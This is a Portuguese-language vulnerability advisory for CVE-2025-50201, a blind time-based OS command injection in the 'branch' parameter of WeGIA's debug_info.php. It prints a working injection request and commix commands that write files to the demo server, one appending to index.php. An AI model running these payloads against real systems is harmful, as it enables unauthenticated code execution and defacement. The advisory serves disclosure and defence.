CVE-2025-50201

CVE-2025-50201: Injeção de Comando no Sistema Operacional (Cega Baseada em Tempo) em `debug_info.php` parâmetro `branch`

Publicação CVE: https://www.cve.org/CVERecord?id=CVE-2025-50201

Resumo

Uma vulnerabilidade de injeção de comando no sistema operacional foi identificada no endpoint /html/configuracao/debug_info.php. O parâmetro branch não é devidamente sanitizado antes de ser concatenado e executado em um comando shell no sistema operacional do servidor.

Essa falha permite que um invasor não autenticado execute comandos arbitrários no servidor com os privilégios do usuário do servidor web (www-data). Isso compromete completamente a confidencialidade, a integridade e a disponibilidade do aplicativo e do servidor subjacente.

Detalhes

A vulnerabilidade pode ser acionada enviando uma solicitação POST ao endpoint vulnerável e injetando metacaracteres de shell (como ;) no parâmetro branch. O servidor executa a entrada fornecida sem validação. A vulnerabilidade foi confirmada como "Cega", pois a saída do comando não é refletida diretamente na resposta HTTP, exigindo, portanto, técnicas de exploração baseadas em tempo.

Solicitação Vulnerável Inicial:

1
2
3
4
5
6
POST /html/configuracao/debug_info.php HTTP/1.1
Host: demo.wegia.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

branch=master; sleep 10&action=switch

A resposta tardia do servidor confirmou a vulnerabilidade.

PoC

Para demonstrar um impacto tangível na integridade do sistema, a ferramenta commix foi usada para injetar um comando echo que cria um novo arquivo HTML em um diretório acessível pela web no servidor.

1. Comando de Ataque:

The following command was executed to create the prova_tcc.html file on the server with custom content:

python3 commix.py -u "https://demo.wegia.org/html/configuracao/debug_info.php" \--data="branch=master&action=switch" -p "branch" -technique="time" \--os-cmd='echo "<h1>Server Hacked - Server Access Confirmed</h1>" > prova_tcc.html'

python3 commix.py -u "https://demo.wegia.org/html/configuracao/debug_info.php" --data="branch=master&action=switch" -p "branch" --technique="time" --time-sec=2 --os-cmd='echo "teste" >> ../../index.php'

2. Verificação:

Após a execução do comando, o arquivo criado tornou-se publicamente acessível através do navegador na seguinte URL: https://demo.wegia.org/html/configuracao/prova_tcc.html

Após a execução do comando, a página https://demo.wegia.org/ foi modificada conforme a imagem abaixo:

Impacto

A exploração bem-sucedida desta vulnerabilidade permite que um invasor não autenticado:

Comprometa a Confidencialidade: Leia arquivos confidenciais do servidor, incluindo o código-fonte do aplicativo, chaves de API e arquivos de configuração.
Comprometa a Integridade: Modifique ou exclua qualquer arquivo para o qual o usuário www-data tenha permissões de gravação, permitindo a desfiguração de sites, injeção de malware ou destruição de aplicativos.
Comprometa a Disponibilidade: Execute comandos que consomem recursos do sistema (CPU, Memória), levando a uma Negação de Serviço (DoS).
Aja como um Pivô: Use o servidor comprometido como base para atacar outros sistemas na rede interna.